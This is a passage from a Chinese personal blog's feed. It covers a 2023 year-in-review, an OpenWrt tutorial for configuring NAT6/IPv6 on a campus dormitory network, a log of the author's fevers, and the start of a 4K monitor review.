&lt;li&gt;字节&lt;/li&gt;
&lt;li&gt;大疆&lt;/li&gt;
&lt;li&gt;美团&lt;/li&gt;
&lt;li&gt;小红书&lt;/li&gt;
&lt;li&gt;快手&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过最后实习还是转正了，结合做的事情和若干其他因素综合考虑后，第一份工作还是选择留在了实习的公司。很抱歉，希望以后能以社招身份能加入他们。&lt;/p&gt;
&lt;p&gt;值得一提的是，双非本科在今年找工作还是挺难的，希望大家在找工作的时候，能沉得住气。&lt;/p&gt;
&lt;h2&gt;开发&lt;/h2&gt;
&lt;p&gt;与上年相比，今年主要是给公司写业务代码。个人项目的开发时间大幅降低，并且时间集中在实习离职后的 10 月 - 12 月。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 Astro 重写个人博客&lt;/li&gt;
&lt;li&gt;用 Rust 开发毕设项目（与 DNS 有关）&lt;/li&gt;
&lt;li&gt;用 React Native 开发了一个 GPS 测速工具，在坐高铁、公交车的时候用来查看和记录速度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;暂时是自用项目，希望下一年能写出让大家受益的项目。&lt;/p&gt;
&lt;h2&gt;生产力&lt;/h2&gt;
&lt;h3&gt;GTD &amp;amp; 知识管理&lt;/h3&gt;
&lt;p&gt;在阅读《番茄工作法图解：简单易行的时间管理方法》和《软技能 2：代码之外的生存指南》后，我开始实践上面提及的方法，以尝试提高自己的生产力。&lt;/p&gt;
&lt;p&gt;从 5 月开始，我使用滴答清单跟踪与管理自己的任务。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;总结出了一套自己的知识管理方法：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;输入：主动收集数据&lt;/li&gt;
&lt;li&gt;整理：整理收集到的数据，将他们连接成网&lt;/li&gt;
&lt;li&gt;输出：写博客文章、教会别人等&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;步骤如下图所示。其中用到的软件有滴答清单、Reeder、Apple 备忘录、Logseq 和 Obsidian 等。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在我看来，GTD 和知识管理的好处，就如同下面这段伪代码和图一样：将知识塞入冰箱，并在不久的将来获取它们，快速获得知识，并期望能得出新观点。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Now, store your knowledge.
const data = readFromYourBrain();
globalThis.knowledgeBase.link(data);
// In the near future, extract them from the knowledge base.
globalThis.addEventListener(&quot;inspired-with-sth&quot;, findInKnowledgeBase);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这是近年来我在 Logseq 里整理的 pages&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;善用生成式 AI&lt;/h3&gt;
&lt;p&gt;例如 GPT，它能提高我们的学习、工作效率。它的意义并不是完全取代程序员，而是让程序员变为更好的程序员。&lt;/p&gt;
&lt;p&gt;举个例子，我在工作中经常使用 GPT 进行数据处理（此处特指数据结构的转换），可以大量减少重复劳动的耗时。比如，我要渲染我的发烧记录，而这些数据被记录在 Apple 备忘录的表格里。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;旅行&lt;/h2&gt;
&lt;h3&gt;香港&lt;/h3&gt;
&lt;p&gt;舍友 and 朋友见我在深圳实习，就让我带他们去香港玩玩。&lt;/p&gt;
&lt;p&gt;一次是乘坐各种交通工具（顺时针方向依次为山顶缆车、天星小轮、叮叮车、轻铁、东铁线头等舱）+ 游海洋公园（值得一提的是，这是 10 年内第三次去海洋公园了）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;而另一次是去电影院看柯南剧场版&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;沪杭&lt;/h3&gt;
&lt;p&gt;这次就是应一起合作开发过网友的邀约，去杭州玩了。为了使行程有效化，我往计划里加入了三日上海游，沪杭计划加起来就是六日游。&lt;/p&gt;
&lt;p&gt;但很可惜撞上了 12 月中旬的寒潮...被冻得瑟瑟发抖，西湖游到一半直接跑去电影院取暖。&lt;/p&gt;
&lt;p&gt;下面放出六日路线图供大伙出游参考。&lt;/p&gt;
&lt;p&gt;杭州三日游&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;上海三日游&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;游戏&lt;/h2&gt;
&lt;p&gt;2023 年，我在工作或学习之余会玩游戏。并保持着这样的一个节奏：日间坐着就玩 Minecraft，睡前躺着就玩 Switch 游戏。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;游戏&lt;/th&gt;
&lt;th&gt;游戏时长&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Minecraft&lt;/td&gt;
&lt;td&gt;200 hours+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persona 5 Royal（P5R）&lt;/td&gt;
&lt;td&gt;85 hours+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Minecraft Dungeons&lt;/td&gt;
&lt;td&gt;35 hours+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Minecraft 玩的是多人联机模式（宿舍建的 Minecraft MTR 服，在游戏里主要是修地铁）。有一说一，我很喜欢这种亲手搭建系统的过程，看着简单的系统在时间的流逝下，逐渐复杂起来，是一种享受。&lt;/p&gt;
&lt;p&gt;线网图变化：&lt;/p&gt;
&lt;p&gt;从年初&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;到年末&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;游戏车站变化（石门）：&lt;/p&gt;
&lt;p&gt;从单线站&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;到四线换乘站&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;与此同时，Switch 的游戏时间如下&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;游戏 P5R 除了回合制外，在剧情方面也做得很不错。为防止剧透，这里附上新游戏开始时的 UI，它完美地总结了游戏的剧情。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;对于 Minecraft Dungeons，我很喜欢游戏提供的打斗感，在周末休息的时候，会搓上几把。&lt;/p&gt;
&lt;h2&gt;阅读&lt;/h2&gt;
&lt;p&gt;十月实习离职，回到学校上课。通勤路上，用微信读书读了不少书。书籍是人类进步的阶梯，通过阅读，我悟到了很多前人的智慧。希望明年还能坚持阅读。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《网络是怎样连接的》&lt;/li&gt;
&lt;li&gt;《程序员的底层思维》&lt;/li&gt;
&lt;li&gt;《程序员的 README》&lt;/li&gt;
&lt;li&gt;《软技能 2：代码之外的生存指南》&lt;/li&gt;
&lt;li&gt;《番茄工作法图解：简单易行的时间管理方法》&lt;/li&gt;
&lt;li&gt;《老后破产：名为“长寿”的噩梦》&lt;/li&gt;
&lt;li&gt;《最璀璨的银河：刘慈欣经典作品集》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;观影&lt;/h2&gt;
&lt;p&gt;看了些 2013, 2014 年的老番，很喜欢当年动画的风格和叙事。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《樱花任务》&lt;/li&gt;
&lt;li&gt;《白箱》&lt;/li&gt;
&lt;li&gt;《来自风平浪静的明天》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;偶尔还会在下班 or 放假的时候，去电影院看电影放松心情。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《流浪地球 2》&lt;/li&gt;
&lt;li&gt;《铃芽之旅》&lt;/li&gt;
&lt;li&gt;《超级马力欧兄弟大电影》&lt;/li&gt;
&lt;li&gt;《灌篮高手》&lt;/li&gt;
&lt;li&gt;《名侦探柯南：黑铁的鱼影》&lt;/li&gt;
&lt;li&gt;《坚如磐石》&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;电子设备&lt;/h2&gt;
&lt;p&gt;实习存了点钱，购入了一些电子设备&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;设备&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nintendo Switch OLED&lt;/td&gt;
&lt;td&gt;游戏掌机&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apple Watch Series 8&lt;/td&gt;
&lt;td&gt;健康监测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Xiaomi Mini PC&lt;/td&gt;
&lt;td&gt;丐版 Homelab&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ViewSonic VG2481-4K&lt;/td&gt;
&lt;td&gt;外接显示器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sony WH-1000XM5&lt;/td&gt;
&lt;td&gt;头戴降噪&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anker 100W GaN Power Adapter&lt;/td&gt;
&lt;td&gt;出行只带一个充电头&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;生病&lt;/h2&gt;
&lt;p&gt;上年年底疫情解封后，身边的人接二连三得病。而我进入了新冠“决赛圈”，暂时没有感染上新冠病毒。&lt;/p&gt;
&lt;p&gt;但不幸的是，从 2023 年开始，我开始因为不同的病而发烧，近乎一个季度烧一次，令人感慨。希望 2024 年不要再生病了。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;病症&lt;/th&gt;
&lt;th&gt;月份&lt;/th&gt;
&lt;th&gt;是否发烧&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;甲型流感&lt;/td&gt;
&lt;td&gt;3 月&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新冠首阳&lt;/td&gt;
&lt;td&gt;6 月&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新冠二阳（疑）&lt;/td&gt;
&lt;td&gt;9 月&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;外耳道炎&lt;/td&gt;
&lt;td&gt;12 月&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;甲流体温&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;新冠体温&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>年终总结</category></item><item><title>为广州大学宿舍校园网配置 IPv6</title><link>https://situ2001.com/blog/configure-gzhu-ipv6-nat/</link><guid isPermaLink="true">https://situ2001.com/blog/configure-gzhu-ipv6-nat/</guid><description>解决路由器环境下设备无法访问IPv6的问题</description><pubDate>Wed, 13 Dec 2023 08:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;TL;DR: 宿舍的路由器坏了，需要买一个新路由器，并为其配置 IPv6，用作 Tailscale 和 BT 下载用途。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;宿舍的小米 mini 路由器在前些天，因为宿舍深夜发生断电，烧坏了。15 年初中购入在家使用，20 年被我带到学校上网，用了 8 年，在 23 年居然因为断电挂了...&lt;/p&gt;
&lt;p&gt;宿舍没有路由器了，没办法，只好购入了收藏夹里的红米 AC2100 路由器（果然是迟早要买...），京东物流效率非常高，早上 10 点半下单，傍晚就到货了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不过的取货的时候遇到了一些小插曲——快递被其他同学错拿了，还好联系上对方让他拿回来了。这里吐槽一下京东的快递站，取快递的时候需要知道手机尾号和姓名，但这些信息都是明文印在快递包装上的...想偷的人一下就能把对应的快递给偷掉了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;理论上来说，买回来刷入系统，配置好校园网认证，就能上网了。但，IPv6 访问除外。因为校园网的特点是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不支持 DHCPv6-PD&lt;/li&gt;
&lt;li&gt;设备需要认证才能联网&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时，需要用户手动配置 NAT6，才能让每个设备通过 IPv6 上网。&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;p&gt;路由器到手后，将官方固件降级，然后刷入 breed，再刷入 OpenWrt 即可。下面是一些有用的链接&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.right.com.cn/forum/thread-4066963-1-1.html&quot;&gt;小米 红米 AC2100 一键刷 BREED&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.openwrt.org/releases/23.05.2/targets/ramips/mt7621/&quot;&gt;OpenWrt MT7621 Downloads&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;校园网认证还要不要配置锐捷认证插件？不用，学校在大半年前非常良心地加入了 web 认证。截止 2023 年 12 月，宿舍网络认证方式是锐捷/web 二选一。&lt;/p&gt;
&lt;h2&gt;配置 NAT6&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本次配置的 OpenWrt 系统版本为 23.05，一个很明显的变化是：该版本的防火墙是 nftables 而不是 iptables&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大致思路如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先让路由器 WAN 接口的 DHCPv6 客户端获得 IPv6 地址&lt;/li&gt;
&lt;li&gt;配置 LAN 接口的 DHCP，让路由器下的设备能被分配到 IPv6 地址&lt;/li&gt;
&lt;li&gt;配置防火墙等，以启用 NAT6&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;配置 WAN6 接口&lt;/h3&gt;
&lt;p&gt;配置 WAN6 接口的两个设置：Request IPv6-Address 为 try，Request IPv6-prefix of length 为自动。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;配置后，如果能看到有 ipv6 地址，并且 Network--Diagnostics 下的 v6 Traceroute 能跑通即可。&lt;/p&gt;
&lt;h3&gt;配置 ULA 前缀&lt;/h3&gt;
&lt;p&gt;将 IPv6 的 ULA 前缀改为非 IANA 预留地址，如下图所示，最简单的方式是将开头的 &lt;code&gt;fd&lt;/code&gt; 改为 &lt;code&gt;dd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;究其原因，是因为 &lt;code&gt;fc00::/7&lt;/code&gt; 这段地址被划分为内网地址（参见 &lt;a href=&quot;https://www.iana.org/assignments/iana-ipv6-special-registry/iana-ipv6-special-registry.xhtml&quot;&gt;IANA IPv6 Special-Purpose Address Registry&lt;/a&gt;），如果设备有这个 IPv6 地址，该设备会优先使用 IPv4。如果被分配到的地址不是预留的内网地址，那么设备就会以为自己拿到的是一个公网 IPv6 地址，从而使用 IPv6。&lt;/p&gt;
&lt;h3&gt;配置 LAN DHCP&lt;/h3&gt;
&lt;p&gt;LAN 接口设置，更改如下的选项到对应值。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;配置防火墙&lt;/h3&gt;
&lt;p&gt;去 &lt;code&gt;/etc/config/firewall&lt;/code&gt; 下的 &lt;code&gt;config zone&lt;/code&gt; 加入一行配置即可启用 NAT6&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;option masq6 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;配置 sysctl&lt;/h3&gt;
&lt;p&gt;此外，还要在 &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; 加一行配置，使得路由器的 WAN 接口能接受 ra(router advertisement)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net.ipv6.conf.wan.accept_ra = 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证&lt;/h2&gt;
&lt;p&gt;网站 &lt;a href=&quot;https://test-ipv6.com/&quot;&gt;https://test-ipv6.com/&lt;/a&gt; 可以测试 IPv6 连接，直接点开即可测试。&lt;/p&gt;
&lt;p&gt;配置 NAT6 成功的话，结果应该如下图所示。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>教程</category><category>网络</category></item><item><title>我的2023年发烧记录</title><link>https://situ2001.com/blog/so-many-fever-in-2023/</link><guid isPermaLink="true">https://situ2001.com/blog/so-many-fever-in-2023/</guid><description>一年烧三次，世界到底怎么了？</description><pubDate>Mon, 27 Nov 2023 11:45:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;import BodyTemp from &quot;./_BodyTemp.astro&quot;;
import { tempMarch, tempJune, tempNovember } from &quot;./_data.js&quot;;&lt;/p&gt;
&lt;p&gt;最近又发烧了...去急诊的时候看到很多人都在排队，据说近日又出现了流感。&lt;/p&gt;
&lt;p&gt;唉，长这么大，头一次见这么频繁地发烧，感觉在新冠大流行后，人体免疫力都下降了。&lt;/p&gt;
&lt;p&gt;今年 2023 年，距离 2020 年年初新冠疫情爆发已经 1400+ 天，距离广州解除疫情封控也已经 360+ 多天了。也就是说，差不多在一年前的今天，大家已经在准备逃离学校回家“避难”了。&lt;/p&gt;
&lt;p&gt;全国解封后，开始出现大规模的新冠感染，很多人都中招了。但我在这波感染中，没有中招，不过在 2022 年 12 月上旬因为过度清洁耳道和长时间佩戴入耳式耳机，引发了外耳道炎，发烧了几天。&lt;/p&gt;
&lt;p&gt;我以为我稳了，但是，我错了...在 2023 年 3 月到 11 月这短短半年多时间里，我分别经历了三次发烧，并且每次引起发烧的症状都不一样。&lt;/p&gt;
&lt;h2&gt;甲流&lt;/h2&gt;
&lt;p&gt;3 月初，我在北京实习还没几天，就感染了上了甲流。当时我以为是新冠，因为我在北京实习的公司有人确诊了新冠。但我去医院检查了一番之后，发现是甲流而不是新冠。&lt;/p&gt;
&lt;p&gt;甲流的感受是这样的：是头痛为主的发热，即使体温很高了，也没有非常难受。体温长期在 39 度左右徘徊，甚至会冲到 40 度以上。吃了退烧药（布洛芬）能降下来，药效失效后，体温立马飙升。&lt;/p&gt;
&lt;p&gt;正因为这个问题，11 号中午我再次去到了医院，医生给开了甲流特效药，如下图所示，小小的两粒（&lt;s&gt;却要大大的两百块&lt;/s&gt;）。吃了之后，不到半天，体温就降下来了且不再升高。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;BodyTemp data={tempMarch} /&amp;gt;&lt;/p&gt;
&lt;h2&gt;新冠&lt;/h2&gt;
&lt;p&gt;6 月中旬，跟几位朋友在广州玩了两天，就当我回到深圳准备上班的时候，身体感到不是很舒服。出门前测 37 度多，感觉还好，就头铁去了公司，结果到了公司，体温已经飙升到 38 度多了额...领取了几份新冠检测试剂盒就回家了。前两天测了两次都没有问题，结果到第三天退烧后，测出阳性。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;发烧的时候有剧烈头痛感和疲惫感，虽然没有甲流那次这么高温，但是发烧的身体感受是比甲流强烈的。&lt;/p&gt;
&lt;p&gt;不过，这次没有吃什么特效药，仅仅只是吃了几天布洛芬（但吃布洛芬是无法退烧的，只能止痛）还有止咳水，&lt;strong&gt;熬&lt;/strong&gt;到退烧就好了。&lt;/p&gt;
&lt;p&gt;&amp;lt;BodyTemp data={tempJune} /&amp;gt;&lt;/p&gt;
&lt;p&gt;等烧退了之后，真正的折磨才到来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;喉咙痛，如刀割一般的疼痛感（持续一周）&lt;/li&gt;
&lt;li&gt;不停地咳嗽（持续好几周）&lt;/li&gt;
&lt;li&gt;丧失了味觉与嗅觉&lt;strong&gt;足足两周&lt;/strong&gt;，那段日子，吃啥都不香了（&lt;s&gt;饮食成本大降低&lt;/s&gt;），上厕所也闻不到臭味了...&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;外耳道炎&lt;/h2&gt;
&lt;p&gt;道理很简单，就是耳道发炎导致的发烧。这跟喉咙发炎发烧是一个道理。究其原因...估计还是掏耳屎过度外加佩戴入耳式耳机时间过长。&lt;/p&gt;
&lt;p&gt;其实已经肿了一周多了，但前些天凌晨才开始痛并把我痛醒。在痛了一天之后，去了一趟急诊，医生开了瓶滴耳水和喉炎茶合剂，用了几次就好了大半。&lt;/p&gt;
&lt;p&gt;炎症退去之后，体温就自然下降了。&lt;/p&gt;
&lt;p&gt;&amp;lt;BodyTemp data={tempNovember} /&amp;gt;&lt;/p&gt;
&lt;p&gt;已经是第二次外耳道炎了，后面估计得更换为头戴式耳机 &amp;amp; 控制入耳式耳机的佩戴时间了。目前心水索尼大法的 XM5，等双 12 优惠下个单。&lt;/p&gt;
</content:encoded><category>随笔</category><category>可视化</category></item><item><title>年轻人的第一台4K显示器</title><link>https://situ2001.com/blog/viewsonic-24inch-4k-display-review/</link><guid isPermaLink="true">https://situ2001.com/blog/viewsonic-24inch-4k-display-review/</guid><description>一款规格小众的显示器</description><pubDate>Sun, 26 Nov 2023 10:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上个月购入了一款规格参数比较“小众”的显示器，一个月用下来感觉很不错。正好，朋友今天参加国考，而我在等她考完。趁着有充足的时间，这里给大家分享个从购买到个人使用的历程。&lt;/p&gt;
&lt;h2&gt;购买动机&lt;/h2&gt;
&lt;p&gt;实习半年后发现，一台外接显示器对生产力的提高是很有帮助的。&lt;s&gt;并且现在购入也可以方便大学毕业前的我在宿舍的娱乐摆烂时光&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;购买前先确定目标和需求，这是我理想中的显示器&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;24 英寸（27 英寸太大了，暂且不说宿舍能不能放下，在滴滴和腾讯实习的时候，用的是 27 寸显示器，经常需要转动脖子来浏览内容）&lt;/li&gt;
&lt;li&gt;4K（在 24 英寸下像素点密度达到了 183PPI。其实 2K 在这个尺寸下也有 122PPI，但细腻程度还是不如 4K 显示器的）&lt;/li&gt;
&lt;li&gt;100% DCI-P3 + 出厂校色（Mac 用户懂得都懂）&lt;/li&gt;
&lt;li&gt;全功能 Type-C 口（一根线解决数据 + 充电 + 屏幕输出三个问题）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经过这么一番操作下来，得到了搜索关键字（尺寸 + 分辨率组合）：显示器 24 英寸 4K。&lt;/p&gt;
&lt;p&gt;往京东一搜，结果令人感慨。一眼下去只有 ViewSonic、Acer 还有 LG 的那台显示器（没错就是传说中的 Ultrafine）。往下翻其实还有一些不知名的品牌如 FLYOBU,、Kuycon 等，但由于厂子太小，售后可能会是个大问题，所以就没有考虑。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;废话不多说，上个表格分析一下&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;型号&lt;/th&gt;
&lt;th&gt;兼容&lt;/th&gt;
&lt;th&gt;接口&lt;/th&gt;
&lt;th&gt;色域&lt;/th&gt;
&lt;th&gt;材质&lt;/th&gt;
&lt;th&gt;亮度&lt;/th&gt;
&lt;th&gt;PD 功率&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ViewSonic VG2481-4K&lt;/td&gt;
&lt;td&gt;良好&lt;/td&gt;
&lt;td&gt;C+HDMI+DP+USB3&lt;/td&gt;
&lt;td&gt;100% DCI-P3&lt;/td&gt;
&lt;td&gt;雾面屏&lt;/td&gt;
&lt;td&gt;400nit&lt;/td&gt;
&lt;td&gt;96W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acer EK241QK&lt;/td&gt;
&lt;td&gt;良好&lt;/td&gt;
&lt;td&gt;HDMI+DP&lt;/td&gt;
&lt;td&gt;72% NTSC&lt;/td&gt;
&lt;td&gt;雾面屏&lt;/td&gt;
&lt;td&gt;250nit&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LG 24MD4KL-B&lt;/td&gt;
&lt;td&gt;Mac&lt;/td&gt;
&lt;td&gt;Thunderbolt3+C&lt;/td&gt;
&lt;td&gt;100% DCI-P3&lt;/td&gt;
&lt;td&gt;镜面屏&lt;/td&gt;
&lt;td&gt;500nit&lt;/td&gt;
&lt;td&gt;85W&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;对比了一下，直接给出结论：&lt;s&gt;ViewSonic 这显示器 TM 不就是 LG Ultrafine 青春版吗&lt;/s&gt;？&lt;/p&gt;
&lt;p&gt;结合油管上一位老哥的 &lt;a href=&quot;https://www.youtube.com/watch?v=K2zN6EShBzg&quot;&gt;推荐安利&lt;/a&gt; 与我&lt;s&gt;空瘪瘪的钱包&lt;/s&gt;，我决定下单 ViewSonic VG2481-4K&lt;/p&gt;
&lt;p&gt;京东的物流效率还是挺高的，早上 10 点前下单，晚上 7 点就已经收到货并拿回宿舍了。&lt;/p&gt;
&lt;p&gt;插播个吐槽&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;买的时候：10 月 23 日 20 点有双 11 活动，价格会降低到 1999 元，7 天内购买可以去申请价保。（机智如我，早买早享受）&lt;/p&gt;
&lt;p&gt;10 月 23 日晚上：价保不支持百亿补贴的价保...（被京东套路了）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;开箱&lt;/h2&gt;
&lt;p&gt;盒子很朴素，印有三只七彩文鸟，里头装着显示器本体，兼容 VESA 的支架，自带一个底座。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;开箱后，迎面而来的是一个用泡沫和塑料膜包着的显示器面板。此外，配有不少线材（如下图床上所示）：C to C 线、USB3.0 A to B 上行线、HDMI 线、DP 线。电源适配器是外置的，一块大板砖，有 150W 的功率，盲猜其中有三分之二的功率是分配给 96W PD 的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;除此之外还带有一份打印的校色报告，从报告可以看出，可以在不同的色域下做到不大于 1 的 deltaE 平均值。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;安装体验很好，将支架套一下，拧一下螺丝就好了。组装好后，放于桌面，亮屏，启动，出现经典的七彩文鸟开机 logo&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;屏幕面板应该是京东方的。由于手里没有专业的屏幕测试设备。只能验一下能主观感受到的部分了——本次收到的显示器没有亮点和坏点。屏幕材质为雾面屏，如果觉得雾面屏显示不通透的话需三思。就个人而言，显示器的实际观感与 MacBook 大差不差。&lt;/p&gt;
&lt;p&gt;该显示器自带两个 3W 功率的扬声器，不要期待太高，是听个响的水平。用于应急或者播个系统提示音啥的还不错。&lt;/p&gt;
&lt;p&gt;本显示器的 IO 口有如下：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;其中，C 口是多功能的：提供 96W PD 供电，USB2.0/3.0 的数据传输速率，以及 4K 60Hz 10bit/8bit 输出。&lt;/p&gt;
&lt;p&gt;对于这个接口配置，我其实不是很满意&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HDMI 口是 HDMI 2.0 标准的，只能输出到最高 3840x2160@60Hz, 8bit，如果给到 2.1 就好了&lt;/li&gt;
&lt;li&gt;RJ45 口缺失，不过问题不大，现在无线传输速率也是够用了&lt;/li&gt;
&lt;li&gt;USB 口全是 &lt;strong&gt;A 口&lt;/strong&gt;（这个年代给带 C 口才是好文明）... 并且，受限于 C 口的带宽，10bit 位深与 5Gb/s 的 USB3.0 速率是互斥的...对此，我选择了 10bit，于是这三个口只有可伶的 2.0 速率了...最终归宿估计是接鼠标的和键盘（&lt;s&gt;或者挂一个移动硬盘在那里做缓慢的 Time Machine&lt;/s&gt;）。回想了一下，之前在滴滴实习用的 Dell U27200M 也是这个样子，&lt;s&gt;心理突然平衡了&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;设备兼容性&lt;/h2&gt;
&lt;p&gt;结论先行：对于绝大部分设备，只要 C 口支持 DP 输出，即可点亮该显示器。&lt;/p&gt;
